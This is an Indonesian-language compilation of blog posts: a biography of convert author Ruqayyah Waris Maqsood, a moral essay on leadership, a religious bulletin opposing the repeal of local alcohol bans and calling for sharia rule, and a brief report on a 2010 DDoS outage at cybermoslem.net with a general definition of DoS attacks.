Ia mendapat ijazah dibidang Teologi Kristen. Namun pengetahuan Kristen-nya yang begitu mendalam menjadikan dia mencintai Islam. Ingin terus menulis hingga akhir hayat Ruqayyah Waris Maqsood dilahirkan pada tahun 1942 di kota London, Inggris. Ruqayyah merupakan salah satu penulis buku-buku Islam paling produktif. telah menghasilkan lebih dari 30 buku berkenaan dengan Islam. Buku-bukunya termasuk best seller dan menjadi referensi serta rujukan di berbagai negara. Awalnya dia dibesarkan dalam lingkungan Kristen Protestan. Nama asalnya ialah Rosalyn Rushbrook . Dia memperoleh ijazah dalam bidang Teologi Kristen dari Universitas Hull tahun 1963. Pengetahuan Kristennya begitu mendalam hingga dia menulis beberapa buah buku, tentang Kristen. Tapi rupanya, karena pengetahuannya yang begitu mendalam tentang Kristen pula yang menyadarkannya. Ia dapati ajaran Kristen telah banyak menyimpang, terutama yang berkaitan dengan konsep Trinitas. Akhirnya tahun 1986, diusia 44 tahun, dia memeluk Islam. Tahun 2001 dia dianugerahkan Muhammad Iqbal Awards karena sumbangannya yang tinggi dalam pengembangan metodologi pengajaran Islam. Bahkan Maret 2004 Ruqayyah terpilih sebagai salah satu dari 100 wanita berprestasi di dunia. Berikut rangkuman kehidupannya dikutip dari berbagai sumber. Orang beriman tak takut dengan penderitaan hidup; tak takut dengan kematian; juga tak takut dengan kehidupan setelah dunia ini; karena Allah bersama mereka. Mereka tak sendirian, Allah selalu menemani dan membimbingnya. Allah itu nyata, Dia menyayangi kamu. Dia mengetahui semua kesukaran yang kamu hadapi dalam perjuangan. Bahkan, jika kamu berbuat salah, Dia masih tetap mencintaimu.モ ~Ruqayyah Waris Maqsood~ Bait-bait kalimat di atas menggambarkan betapa teguhnya hati seorang Ruqayyah. Bait penuh makna itu diadopsinya dari ayat-ayat suci Al-Quran. Dia memang menumpukan setiap tulisannya dengan memasukkan petuah-petuah dari Al-Quran dan hadis Nabi Muhammad SAW. Ruqayyah Waris Maqsood yang diilahirkan tahun 1942 di London, Inggris, pada ada usia 8 tahun telah jadi seorang anak yang memiliki komitmen yang tinggi dengan Kristen sebagai hasil dari panggilan hatinya. Setelah menamatkan program sarjana ilmu teologi (1963) dan master bidang pendidikan (1964) dari Universitas Hull, dia selama hampir 32 tahun mengelola program studi ilmu-ilmu keagamaan di berbagai sekolah dan perguruan tinggi di Inggris. Dia menikah dengan penyair Georg Morris Kendrick pada tahun 1964. Dari perkawinannya dengan Georg mereka memiliki dua orang anak, Daniel George lahir 1968 dan Frances Elisabeth Eva lahir 1969. Tahun 1986 pasangan itu bercerai. Tahun itu pula masuk Islam dan tahun 1990 menikah lagi dengan pria keturunan Pakistan, Waris Ali Maqsood namanya. モSaat ini Islam dicap sebagai agama bermasalah. Sangat tidak adil. Karena itu saya berupaya menulis untuk memperbanyak literatur-literatur Islam. Harapa saya agar, melalui tulisan-tulisan itu, dapat membantu memperbaiki atmosfir yang kurang berpihak ke Islam,ヤ cetusnya. モSaya sangat tertarik menggeluti sejarah Islam, terutama tentang kehidupan wanita-wanita di sekitar Nabi Muhammad. Saya acapkali meng-counter kampanye anti Islam yang mendiskreditkan wanita Muslim,ヤ kata dia. Best seller Mau tahu seberapa produktifnya dia? Catat saja, sewaktu masih bernama Rosalyn Rushbrook dia menghasilkan 9 buah buku yang umumnya berisi isu agama. Dan satu volume buku kumpulan puisi. Lalu selepas hijrah ke Islam, dia menghasilkan sekitar 30 buah buku. Saat ini dia memiliki 9 buah buku yang masih dalam proses penerbitan. Dia juga menulis berbagai artikel di majalah maupun koran yang berkaitan dengan Islam dan Muslim. Salah satu sumbangannya yang paling penting bagi komunitas Islam adalah The Muslim Marriage Guide (Petunjuk Pernikahan bagi Muslim). Buku itu menjadi rujukan dan direkomendasikan, tidak saja untuk pasangan yang akan menikah namun juga bagi mereka yang telah lama mengarungi bahtera rumah tangga. Bagi kalangan non Muslim, terutama yang sedang mendalami Islam, tentu saja buku Ruqayyah menjadi referensi yang sangat berharga. Dalam buku yang bernilai tinggi itu dia menggambarkan kehidupan Nabi Muhammad SAW dan para sahabatnya dilengkapi dengan petunjuk, tatacara dan hukum perkawinan. Tak hanya dia juga menguraikan bagaimana pertalian suami istri dalam hal warisan dan sejenisnya. Jadi sangat terpadu dan lengkap. Ruqayyah pernah diundang oleh Hodder Headlines untuk menulis buku Islam for the World Faiths (Islam bagi Penganut Agama se-Dunia). Saat ini buku itu telah dicetak sebanyak tiga kali dan termasuk salah satu buku best seller. Tak hanya buku-buku kategori モberatヤ, dia juga menulis buku-buku tentang bimbingan konseling bagi remaja Islam. Juga ada beberapa buku saku, antara lain; a Guide for Visitors to Mosques, a Marriage Guidance booklet, Muslim Womenメs Helpline. Bukunya di Indonesia banyak diterbitkan oleh Mizan. Misalnya Menciptakan Surga Rumah Tangga. Lalu buku bimbingan untuk remaja berjudul Menyentuh Hati Remaja. Buku itu mengulas seputar solusi untuk mengatasi problema-problema remaja. モMengapa hidup kita di dunia ini kadang-kadang berlalu dalam keadaan sulit. Ada cerita terkenal tentang seorang petani Afrika yang menanam rami. Ia harus menanamnya dalam keadaan yang sulit, dengan kondisi tanah yang mematahkan punggung dan dengan sedikit hujan untuk menyiraminya. Ketika ia pindah ke tempat yang iklimnya lebih bersahabat, ia membawa beberapa tanaman rami tersebut, dengan pikiran bahwa tanamana ini akan mudah tumbuh di tempat yang baru. Ya, tanaman itu memang tumbuh, besar, hijau dan subur; tetapi ketika ia mencabut batang itu untuk mengeluarkan seratnya, ternyata batangnya tidak berisi serat kecuali ampas. Tanaman itu memerlukan kondisi sulit untuk mengembangkan kekuatan batangnya,ヤ tulis Ruqayyah dalam buku bimbingan remajanya, dengan perumpamaan yang gampang dimengerti remaja dan juga memberi motivasi hidup. Silabus Islam モSaya juga diminta menulis buku teks yang dipakai secara luas di Inggris selama hampir 20 tahun. Buku-buku teks itu dipakai oleh kalangan pribadi, muallaf, dan pelajar-pelajar sekolah umum dan madrasah. Tidak saja di Inggris tapi juga di beberapa negara lainnya,ヤ begitu katanya. Ya, memang Ruqayyah juga sibuk menulis buku-buku teks yang banyak dijadikan rujukan. Ia membantu mengembangkan silabus bagi pelajar sekolah agama, bekerjasama dengan dinas pendidikan setempat. Silabusnya tergolong unik, dibuat khusus agar pelajar mandiri. Jadi, tanpa guru atau fasilitas tetap bisa jalan. Silabusnya dirancang untuk pelajar sekolah dasar hingga perguruan tinggi. Menariknya lagi, bisa dipakai untuk pendidikan formal, non formal, misal di rumah, bahkan juga di penjara. Pokoknya untuk dimana saja. Menjadi tutor jarak jauh (distance learning) untuk Asosiasi Peneliti Muslim (AMR) adalah aktifitas lainnya. Aktifitas mengajarnya juga padat. Banyak negara telah disambanginya, diantaranya AS, Kanada, Denmark, Swedia, Finlandia, Irlandia dan Singapura. Ruqayyah juga mengajar di beberapa universitas yang ada di Inggris seperti Oxford, Cambridge Edinburg, Glasgow dan Manchester. Juga mengajar di School of Oriental and Arabic Studies di London. Atas aktifitas dan jasanya itu ia menerima Muhammad Iqbal Award tahun 2001 atas kreatifitasnya dalam mengembangkan pembelajaran Islam. Dialah muslim pertama Inggris yang pernah menerima anugerah bergengsi tersebut. Tak hanya itu, Maret 2004 Ruqayyah terpilih sebagai salah satu dari 100 wanita berprestasi di dunia. Dalam ajang pemilihan Daily Mailメs Real Women of Achievement, dia termasuk satu dari tujuh orang wanita berprestasi dalam kategori keagamaan. Menulis dan Terus Menulis Majalah Islam, Emel pernah menanyakan adakah ia merasa lelah dengan seabrek aktifitasnya itu serta bagaimana membagi waktu menulis dan mengurus rumah tangga, misalnya di kesibukannya dengan para cucunya. モSaya sangat ketat dengan waktu. Bertahun-tahun saya menjalani itu dan sudah jadi irama hidup saya, hingga semua jadi mudah. Saya biasanya menulis malam hari. Kala semua telah tidur, hingga tak ada yang mengganggu saya. Jam 4 pagi saya bangun untuk shalat subuh. Selepas itu saya tidur sejenak hingga jam 8 pagi. Beraktifitas lagi dan siangnya saya ambil waktu untuk istirahat,ヤ ujarnya. モKerja saya sehari-hari ya menulis. Kini ada lebih dari 40 buku telah diterbitkan. Belum lama saya telah menyelesaikan satu manuskrip yang sangat tebal tentang Kehidupan Rasulullah SAW. Buku berjudul モThe Life of Prophet Muhammadヤ itu diterbitkan oleh Islamic Research Institute of Islamabad tahun 2006 silam,ヤ katanya. Tentang pembajakan buku-buku, Ruqayyah mengaku sedih dengan tingginya kasus pembajakan buku terutama di negara-negara Islam. モKenyataan saat ini banyak buku-buku Islam yang dibajak dan pembajaknya adalah orang Islam sendiri. Sedih bukan? モ ujarnya risau. Tentang Yesus Dia memiliki pengetahuan Kristen begitu mendalam. Dengan pengetahuannya itu Ruqayyah bergerak atas inisiatif sendiri mencari kebenaran berdasar kajian-kajian ilmiahnya. Namun akhirnya dia meninggalkan agamanya itu setelah bergulat bertahun-tahun dalam pencarian atas pertanyaan-pertanyaannya tentang konsep teologi Trinitas. Dia tak menemukan apa-apa. Jadi Ruqayyah memeluk Islam murni berdasar latar belakang pengetahuannya dan kajian mendalam tentang ajaran ketuhanan, baik dalam Islam dan Kristen. Seperti kebanyakan muallaf lainnya, dia menyebut dirinya telah モkembaliヤ menjadi Muslim. Kini dia memperjuangkan Islam lewat tulisan dan buku-bukunya. Dalam sebuah wawancara dengan sebuah media, dia ditanya perihal konsep Islam tentang Nabi Isa yang dalam ajaran Kristen disebut Yesus. モDi negara Barat ada ajaran ilmu etika berinti pada cinta dan kasih Tuhan dan tolong menolong sesama manusia. Itu semua diajarkan juga oleh semua nabi termasuk di dalamnya, tentu saja, Nabi Muhammad SAW. Kami orang Islam juga meyakini Nabi Isa sebagai salah satu nabi yang diutus Allah,ヤ kata Ruqayyah. モSebelum Nabi Isa datang, nabi-nabi terdahulu membawa ajaran Yahudi. Kami juga beriman dengan nabi-nabi terdahulu yang diutus kepada umat-umat sebelum Islam datang, Yahudi adalah salah satu agama samawi juga. Nabi Isa datang membawa ajaran Kristen itu kami yakni juga. Kemudian Nabi Muhammad diutus Allah membawa ajaran Islam dan tugas Isa AS telah selesai, Jadi tidak seperti dipahami ajaran Kristen dengan konsep Trinitasnya yang menyatakan Yesus itu anak Tuhan. Dia memang dilahirkan dari seorang ibu, Maryam. Tanpa ayah. Jadi jangan lantas disebut sebagai anak Tuhan. Itu kuasa Allah. Jika Allah katakan モjadiヤ, maka jadilah,ヤ imbuhnya lagi. Apakah Nabi Muhammad diutus karena misi Nabi Isa dianggap telah gagal? Demikian cocoran pertanyaan menohok media tersebut. モKami tidak beriman dengan itu, bahwa misi Nabi Isa gagal. Kami beriman, dia (Isa AS) adalah salah satu utusan Allah yang terbaik bagi umatnya. Contoh dan tunjuk ajarnya ditiru oleh jutaan pengikutnya kala itu. Jika kemudian, umatnya rusak, itu bukannya karena ajaran atau misi Isa AS itu rusak lantas dikatakan gagal. Lalu untuk menyelamatkan umatnya, menghapus dosa umatnya, Isa digambarkan (dalam Kristen) mengorbankan dirinya dengan disalib. Tidak begitu. Inilah yang saya katakana ajaran Kristen telah menyimpang dari aslinya,ヤ terangnya. Cyber counsellor Salain menulis, kesibukan lainnya adalah sebagai seorang konselor. Melalui internet, ia aktif menjawab dan membantu konseling. モKegiatan lain saya adalah mengasuh bimbingan konseling online melalui e-mail hingga dijuluki sebagai cyber councellor. Tiap hari sedikitnya ada 50 e-mail yang saya terima. Kebanyakan berasal dari orang-orang minta nasehat, karena masalah budaya, perkawinan, dan bahkan masalah ketuhanan. Kebanyakan dari mereka adalah orang-orang yang dalam masa pencarian, mereka ingin tahu apa itu Islam. Bahkan ada juga dari orang yang bermaksud menyerang Islam. Kami saling bertukar pendapat. Banyak juga e-mail berisi pengaduan-pengaduan yang sifatnya sangat pribadi. Saya ini persis seperti モibu atau tanteヤ bagi mereka dalam menyelesaikan persoalan-persoalan pribadi,ヤ ungkap Ruqayyah senang. Begitupun dia mengaku sedikit sedih dengan kenyataan masih banyak kalangan Islam yang bertingkah laku kurang baik. Tidak Islami. Hingga merusak wajah Islam sendiri. モSebagai contoh di Barat, banyak anak-anak muda Arab dan Asia yang bergaul bebas dengan gadis-gadis kulit putih tanpa memperhatikan kaedah Islam. Sedihnya lagi, ada yang sampai mengandung tanpa ikatan agama. Seringnya si wanita kemudian masuk Islam. Memang baik, tapi saya kira ini bukan jalan menuju Islam yang benar,ヤ keluhnya. Begitulah, Ruqayyah kini mengisi hari tuanya di sudut kota London dengan menulis, mengasuh para cucunya, disamping juga berbagi ilmu keislamannya dengan non muslim melalui dialog antar umat beragama. Dia menyisihkan waktunya berkunjung ke sekolah-sekolah dan gereja untuk menjelaskan Islam dan memberikan pengetahuan dasar-dasar Islam. Dia berjuang keras menyadarkan berbagai pihak dengan berbagai latar kehidupan yang berbeda agar dapat saling menghargai. [Zulkarnain Jalil/www.hidayatullah.com]
          JADILAH KITAB WALAU TANPA JUDUL        
Kun kitaaban mufiidan bila ‘unwaanan, wa laa takun ‘unwaanan bila kitaaban. Jadilah kitab yang bermanfaat walaupun tanpa judul. Namun, jangan menjadi judul tanpa kitab.
Pepatah dalam bahasa Arab itu menyiratkan makna yang dalam, terutama menyangkut kondisi bangsa saat ini yang sarat konflik perebutan kekuasaan dan pengabaian amanah oleh pemimpin-pemimpin yang tidak menebar manfaat dengan jabatan dan otoritas yang dimilikinya. Bangsa ini telah kehilangan ruuhul jundiyah, yakni jiwa ksatria. Jundiyah adalah karakter keprajuritan yang di dalamnya terkandung jiwa ksatria sebagaimana diwariskan pejuang dan ulama bangsa ini saat perjuangan kemerdekaan.
Semangat perjuangan (hamasah jundiyah) adalah semangat untuk berperan dan bukan semangat untuk mengejar jabatan, posisi, dan gelar-gelar duniawi lainnya (hamasah manshabiyah). Saat ini, jiwa ksatria itu makin menghilang. Sebaliknya, muncul jiwa-jiwa kerdil dan pengecut yang menginginkan otoritas, kekuasaan, dan jabatan, tetapi tidak mau bertanggung jawab, apalagi berkurban. Yang terjadi adalah perebutan jabatan, baik di partai politik, ormas, maupun pemerintahan. Orang berlomba-lomba mengikuti persaingan untuk mendapatkan jabatan, bahkan dengan menghalalkan segala cara. Akibatnya, di negeri ini banyak orang memiliki “judul”, baik judul akademis, judul keagamaan, judul kemiliteran, maupun judul birokratis, yang tanpa makna. Ada judulnya, tetapi tanpa substansi, tanpa isi, dan tanpa roh.
Padahal, ada kisah-kisah indah dan heroik berbagai bangsa di dunia. Misalnya, dalam Sirah Shahabah, disebutkan bahwa Said bin Zaid pernah menolak amanah menjadi gubernur di Himsh (Syria). Hal ini membuat Umar bin Khattab RA mencengkeram leher gamisnya seraya menghardiknya, “Celaka kau, Said! Kau berikan beban yang berat di pundakku dan kau menolak membantuku.” Baru kemudian, dengan berat hati, Said bin Zaid mau menjadi gubernur.
Ada lagi kisah lain, yaitu Umar bin Khattab memberhentikan Khalid bin Walid pada saat memimpin perang. Hal ini dilakukan untuk menghentikan pengultusan kepada sosok panglima yang selalu berhasil memenangkan pertempuran ini. Khalid menerimanya dengan ikhlas. Dengan singkat, ia berujar, “Aku berperang karena Allah dan bukan karena Umar atau jabatanku sebagai panglima.” Ia pun tetap berperang sebagai seorang prajurit biasa. Khalid dicopot “judul”-nya sebagai panglima perang. Namun, ia tetap membuat “kitab” dan membantu menorehkan kemenangan.
Ibrah yang bisa dipetik dari kisah-kisah tersebut adalah janganlah menjadi judul tanpa kitab; memiliki pangkat, tetapi tidak menuai manfaat. Maka, ruuhul jundiyah atau jiwa ksatria yang penuh pengorbanan harus dihadirkan kembali di tengah bangsa ini sehingga tidak timbul hubbul manaashib, yaitu cinta kepada kepangkatan, jabatan-jabatan, bahkan munafasah ‘alal manashib, berlomba-lomba untuk meraih jabatan-jabatan. Semoga.
          Miras Bebas, Maksiat dan Kejahatan Makin Bablas        



Bebas, Maksiat dan Kejahatan Makin Bablas
[Al Islam 589] Bukannya mencegah kemaksiatan, pemerintah malah memberikan jalan bagi suburnya kemaksiatan dan kerusakan di tengah masyarakat. Lihatlah, pemerintah justru mencabut perda yang melarang miras (minuman keras).

Setidaknya ada sembilan perda miras yang diminta untuk dicabut oleh kemendagri. Diantaranya, Perda Kota Tangerang No. 7/2005 tentang Pelarangan, Pengedaran, dan Penjualan Minuman Beralkohol; Perda Kota Bandung No. 11/2010 tentang Pelarangan, Pengawasan, dan Pengendalian Minuman Beralkohol; dan Perda Kabupaten Indramayu No. 15/2006 tentang Larangan Minuman Beralkohol.

Keputusan itu memicu protes dan penolakan dari banyak pihak. Keputusan pencabutan itu dianggap kontraproduktif terhadap upaya mengatasi kerusakan moralitas dan maraknya kejahatan di tengah masyarakat. Protes keras juga datang dari sejumlah Pemda yang telah mengeluarkan perda miras.

Melawan Hukum Lebih Tinggi?

Kemendagri beralasan pencabutan perda-perda miras itu karena menyalahi aturan yang lebih tinggi, yaitu Keppres No. 3 Tahun 1997 tentang Pengawasan dan Pengendalian Minuman Beralkohol. Sejak perda dinyatakan batal maka dalam waktu paling lama 15 hari harus dicabut dan tak diberlakukan. Seperti diberitakan pikiran-rakyat.com (31/11/11), melalui surat nomor: 188.34/4561/SJ tertanggal 16 November 2011, Mendagri meminta perda miras kabupaten Indramayu segera dicabut dalam waktu 15 hari sejak 16 November.

Alasan bertentangan dengan Keppres No. 3 Tahun 1997 itu terkesan dipaksakan. Keppres itu dikeluarkan pada era orde baru yang sarat masalah. Mestinya Keppres bermasalah itu yang harus dicabut. Sebab Keppres itulah yang justru menjadi biang kerok maraknya peredaran miras di tengah masyarakat. Apalagi adanya Keppres ini berarti menghalalkan perkara yang jelas-jelas diharamkan Allah SWT. Lebih tinggi mana hukum Allah SWT dibanding keputusan presiden? Mana yang lebih baik, hukum Allah SWT atau hukum jahiliyah yang bersumber dari hawa nafsu manusia yang rakus?

Motif Bisnis Haram

Aroma kuatnya pengaruh bisnis miras pun menyeruak. Sudah lama para pengusaha miras mengeluhkan kesulitan memasarkan produk mereka karena adanya perda pelarangan miras dan menambah jumlah produksi miras akibat pembatasan produksi. Padahal Indonesia dianggap pangsa pasar miras potensial. Menurut catatan Gabungan Industri Minuman Malt Indonesia (GIMMI) orang Indonesia mengkonsumsi 100 juta liter bir pertahun. Jumlah konsumen minuman keras domestik terus meningkat 3-4 % pertahun, belum lagi dengan bertambahnya kunjungan wisatawan asing. Maka pengusaha miras ingin agar pembatasan miras dilonggarkan dan kuota produksinya ditambah.

Keputusan kontroversial Kemendagri ini menjadi jalan bagi mulusnya bisnis miras itu. Selama ini yang pertama-tama menentang perda larangan miras adalah pengusaha miras. Perda miras kabupaten Indramayu misalnya, sempat digugat oleh kalangan pengusaha minuman beralkohol dan miras. Namun gugatan tersebut ditolak oleh MA.


Sumber Kejahatan

Pencabutan perda miras ini menambah keberpihakan pemerintah pada bisnis haram ini. Dua tahun silam pemerintah sudah menetapkan miras terbebas dari Pajak Pertambahan Nilai dan Pajak Penjualan atas Barang Mewah (PPN dan PPnBM). Hal ini menunjukkan lagi-lagi pemerintah lebih memikirkan kepentingan segelintir pengusaha bejad yang hanya memikirkan uang, dibanding keselamatan dan moralitas masyarakat. Padahal semuanya sudah tahu dan terbukti, miras pangkal berbagai macam kejahatan. Baru-baru ini, seorang ibu diperkosa di sebuah angkot di Depok, dan pelakunya diberitakan dalam keadaan mabuk. Kejahatan seperti ini sering terjadi. Polres Minahasa Utara mencatat, dari 969 kasus kejahatan dan KDRT sepanjang 2011 di wilayahnya dipicu oleh minuman keras (TRIBUNMANADO.CO.ID, 5/1/2012).

Polda Sulawesi Utara juga melaporkan sekitar 70 % tindak kriminalitas umum di Sulawesi Utara terjadi akibat mabuk setelah mengonsumsi miras. Kabid Humas Polda Sulut Ajun Komisaris Besar Benny Bela di Manado mengatakan, masih tingginya tindak kriminalitas di daerah itu disebabkan oleh minuman keras. Diperkirakan 65-70 % tindak kriminalitas umum di daerah itu akibat mabuk minuman keras. Selain itu sekitar 15 persen kecelakaan lalu lintas juga akibat pengaruh minuman keras. (lihat, kompas.com, 21/1/2011).

Miras juga menjadi pemicu beberapa tawuran massal seperti yang pernah terjadi di beberapa daerah dan hingga menyebabkan sejumlah korban tewas. Begitu juga tak sedikit orang yang tewas setelah menenggak miras.

Maka sungguh aneh bila pemerintah justru mencabut perda miras yang sebenarnya masih terlalu longgar itu. Padahal fakta yang ada sejak perda miras diberlakukan terjadi penurunan angka kriminalitas, bahkan sampai 80 % seperti di Bulukumba. Di Indramayu dan Tangerang penerapan perda miras berhasil mengurangi angka kriminalitas secara nyata.

Apalagi, perda-perda itu sebelumnya sudah dikonsultasikan ke tingkat provinsi dan bahkan ke Kemendagri dan dinilai tidak masalah. Perda anti miras itu didukung dan diterima oleh masyarakat. Perda itu juga dihasilkan melalui proses demokratis dan disetujui oleh DPRD setempat. Sekali lagi, pencabutan perda miras ini makin menunjukkan keanehan demokrasi. Kalau benar-benar memperhatikan suara rakyat seharusnya perda miras yang dihasilkan secara demokratis itu diterima. Kenapa malah ditolak dan dianggap tidak demokratis?

Aroma anti syariah Islam pun muncul dibalik ini . Mengingat selama ini, perda-perda seperti ini kerap digugat kelompok sekuler liberal karena dianggap kental dengan syariah Islam. Mereka menuding syariah Islam mengancam negara. Tudingan yang tidak masuk akal. Bagaimana mungkin syariah Islam yang bersumber dari Allah SWT yang Maha Pengasih lagi Maha Penyayang disebut membahayakan masyarakat? Bagaimana mungkin aturan Allah SWT yang melarang miras yang menjadi salah satu sumber kejahatan dianggap membahayakan masyarakat ?

Syariah Islam Membabat Miras, Menyelamatkan Umat

Islam dengan tegas mengharamkan khamr. Allah SWT berfirman:

يَا أَيُّهَا الَّذِينَ آمَنُوا إِنَّمَا الْخَمْرُ وَالْمَيْسِرُ وَالْأَنصَابُ وَالْأَزْلَامُ رِجْسٌ مِّنْ عَمَلِ الشَّيْطَانِ فَاجْتَنِبُوهُ لَعَلَّكُمْ تُفْلِحُونَ
Hai orang-orang yang beriman, sesungguhnya (meminum) khamar, berjudi, berkorban untuk berhala, mengundi nasib dengan panah, adalah termasuk perbuatan syaitan. Maka jauhilah perbuatan-perbuatan itu agar kamu mendapat keberuntungan. (QS. al-Maidah [5]: 90)

Syaikh Ali ash-Shabuniy di dalam Tafsir ayat al-ahkam (I/562) menyatakan bahwa ayat berikutnya menyebutkan berbagai keburukan untuk mengisyaratkan bahaya yang besar dan kejahatan materi dari kriminalitas perjudian dan meminum khamr. Allah berfirman (yang artinya): Sesungguhnya syaitan itu bermaksud hendak menimbulkan permusuhan dan kebencian di antara kamu lantaran (meminum) khamar dan berjudi itu, dan menghalangi kamu dari mengingat Allah dan shalat; maka berhentilah kamu (TQS al-Maidah [5]:91)

Rasul saw. juga sudah memperingatkan:

« اِجْتَنِبُوْا الْخَمْرَ فَإِنَّهَا مِفْتَاحُ كُلِّ شَرٍّ »
Jauhilah khamr, karena sesungguhnya ia adalah kunci semua keburukan (HR. al-Hakim dan al-Baihaqi)

Islam memandang, meminum khamr merupakan kemaksiyatan besar dan pelakunya harus dijatuhi sanksi had. Had meminum khamr adalah dijilid empat puluh kali dan bisa ditambah. Ali bin Abi Thalib mengatakan:

« جَلَدَ النَّبِىُّ أَرْبَعِينَ وَجَلَدَ أَبُو بَكْرٍ أَرْبَعِينَ وَعُمَرُ ثَمَانِينَ وَكُلٌّ سُنَّةٌ »
Nabi saw menjilid (orang yang meminum khamr) 40 kali, Abu Bakar menjilidnya 40 kali dan Umar menjilidnya 80 kali, dan semua adalah sunnah (HR Muslim)


Islam juga mengharamkan semua hal yang terkait dengan khamr (miras), termasuk produksi, penjualan, kedai dan hasil darinya, dsb. Rasul saw bersabda:

« لَعَنَ اللَّهُ الْخَمْرَ وَلَعَنَ شَارِبَهَا وَسَاقِيَهَا وَعَاصِرَهَا وَمُعْتَصِرَهَا وَبَائِعَهَا وَمُبْتَاعَهَا وَحَامِلَهَا وَالْمَحْمُولَةَ إِلَيْهِ وَآكِلَ ثَمَنِهَ »
Allah melaknat khamr dan melaknat orang yang meminumnya, yang menuangkannya, yang memerasnya, yang minta diperaskan, yang membelinya, yang menjualnya, yang membawakannya, yang minta dibawakan, yang makan harganya (HR. Ahmad).

Karena itu sistem Islam akan melarang produksi khamr (miras), penjualannya, tempat-tempat yang menjualnya, peredarannya dsb. Orang yang melanggarnya berarti melakukan tindakan kriminal dan dia harus dikenai sanksi ta’zir.

Dengan semua itu, syariah Islam menghilangkan pasar miras, membabat produksi miras, penjualan, peredarannya dan tempat penjualannya di tengah masyarakat. Dengan itu Islam menutup salah satu pintu semua keburukan. Islam menyelamatkan masyarakat dari semua bahaya yang mungkin timbul karena khamr.

Wahai Kaum Muslim

Pencabutan perda miras ini menunjukkan kebobrokan pemerintah. Pemerintah justru telah memberikan jalan bagi maraknya kejahatan dan kemaksiatan di tengah masyarakat. Sekaligus semakin membuktikan bahwa masyarakat yang bebas dari bahaya khamr (miras) tidak akan terwujud dengan sistem kapitalisme demokrasi. Sistem Kapitalis-Demokrasi hanya memikirkan pemilik modal, hanya memikirkan perut dan materi segelintir pengusaha rakus. Sistem ini tidak akan memberikan kebaikan sedikitpun kepada manusia.

Bahaya khamr dan semua keburukan akibat khamr hanya akan bisa dihilangkan dari masyarakat dengan penerapan syariah Islam secara utuh. Karena itu impian kita akan masyarakat yang tenteram, bersih, bermartabat dan bermoral tinggi, hendaknya mendorong kita melipatgandakan perjuangan untuk menerapkan syariah Islam dalam bingkai Sistem Politik yang telah ditetapkan oleh Islam yaitu Khilafah ‘ala minhaj an-nubuwwah. Wallâh a’lam bi ash-shawâb. []

Komentar Al Islam:
BURT DPR: Proyek Toilet DPR Rp 2 M Bisa Dibatalkan (detik.com, 9/1/2012).

Komentar:

1. Innalillahi wa inna ilayhi rajiun, sampai urusan buang kotoran pun anggota parlemen masih juga mau bermewah-mewah, padahal di Indonesia masih ada tunawisma sebanyak 25.662 orang dan pengemis 175.478 orang.

2. Rencana itu menunjukkan sifat asli rakus kemewahan. Bila diributkan baru merasa malu, tapi bila tidak maka maju terus pantang mundur. Itulah produk sistem politik demokrasikapitalisme.

3. Politisi dan penguasa yang sederhana dan peduli kepentingan rakyat hanya bisa diwujudkan oleh sistem politik mengutamakan pemeliharaan urusan rakyat, itulah Sistem Islam


Hasil survei Lembaga Survei Indonesia (LSI) yang menempatkan kinerja lembaga penegakan hukum kurun waktu 2011 jeblok hingga 44 persen (inilah.com, 9/1/2012).

Komentar:

1. Hukum buatan manusia memang tidak pernah berpihak pada keadilan, melainkan kepada yang membayar.

2. Hanya hukum Islam yang menjamin keadilan sempurna bagi setiap manusia tanpa pandang bulu dan agama.
                  
SERANGAN DDoS, CYBERMOSLEM.NET MAMPU BERTAHAN
REP
Muhibbuddin Al Insaniyah
| 14 Agustus 2010 | 11:48
71
4
Nihil.

Sejak dirilis pada tanggal 1 Agusus 2010,Cybermoslem.net sudah dibanjiri dengan register-register baru yang semakin hari semakin melimpah. Dari banyaknya pengguna baru yang berbondong-bondong masuk, ternyata disinyalir oleh admin cybermoslem sendiri, ada sebuah “serangan rudal” dari “pesawat tak berawak” yang dikendalikan dari luar negeri, yang sengaja atau tidak memang hendak membuat rusuh suasana aksesing terhadap cybermoslem.

“…akhirnya CMnet lumpuh selama hampir semalaman (jum’at, 13 Agustus 2010). Setelah seharian di serang secara bertubi dengan sistem serangan ddos yang membuat jaringan kami menjadi sangat sibuk”, demikian menurut admin cybermoslem dalam blognya.

Serangan DoS (Denial of Service) adalah jenis serangan terhadap sebuah komputer atau server di dalam suatu jaringan internet dengan cara menghabiskan sumber (resource) yang dimiliki oleh komputer tersebut sampai komputer tersebut tidak dapat menjalankan fungsinya dengan benar sehingga secara tidak langsung mencegah pengguna lain untuk memperoleh akses layanan dari komputer yang diserang tersebut. Serangan DoS ini berlangsung satu lawan satu, satu penyerang melawan satu akun pengguna yang valid dan aktif, dengan penyerangnya menggunakan peralatan komputer yang canggih, serta dukungan host yang handal, sehingga target sasaran bisa kacau aksesingnya. Serangan DDoS ( Distribution DoS) merupakan serangan DoS yang “diselenggarakan” secara “rombongan” dan konspiratif menggunakan banyak komputer handal dan kuat, menyerang server sasaran, sehingga server “dipaksa” untuk tidak dapat memberikan pelayanan akses bagi pengguna.

Kondisi awal downtime sebenarnya sudah penulis rasakan dan terdeteksi oleh penulis pada sekitar lebih kurang jam 16.00 WIB, hari Jumat tanggal 13 Agutus 2010 kemarin, dan penulis seketika itu langsung memberikan sinyal “hati’hati” ke pihak admin bahwa ada “kemungkinan” upaya penyerangan oleh hacker ke server cybermoslem. Jawaban admin sangat sederhana, “Allah yang akan menolongnya“.

Situasi server lumpuh total terjadi semalaman dari mulai lebih kurang jam 19.30 WIB. Setelah sholat tarawih, penulis menutup akun di cybermoslem beberapa jam kemudian. Sebenarnya, pada Jum’at, 13 Agustus 2010, dari pagi sampai sore, akses ke cybermoslem.net masih stabil. Tetapi mulai malam sekitar jam 19.30 WIB lebih, pada saat pengguna dan saat sebagian besar member CMnet sedang sholat Tarawih. dan akses ke cybermoslem.net mulai ada kendala dan beberapa waktu kemudian lumpuh total.

Cybermoslem masih mampu tegak bertahan, tidak terjadi kehancuran dan kematian total, sehingga pada tanggal 14 Agustus 2010 sudah bisa normal kembali. Diperkirakan serangan akan berulang-ulang, tetapi Insya Allah, serangan DDoS dan serangan bentuk lainnya teramat berat dan kecil kemungkinan membunuh cybermoslem.

Memperhatikan berita di atas, penulis teringat serangan terhadap www.millatfacebook.com (jejaring sosial di Pakistan), yang sampai sekarang akhirnya web tersebut mengalami kelumpuhan dan tidak dapat diakses. Gambar di bawah ini adalah kondisi “bangkai” terakhir pada Sabtu, 14 Agutus 2010.

Kondisi "Bangkai" terakhir MillatFacebook.com. Adminnya masih berusaha hidup kembali.

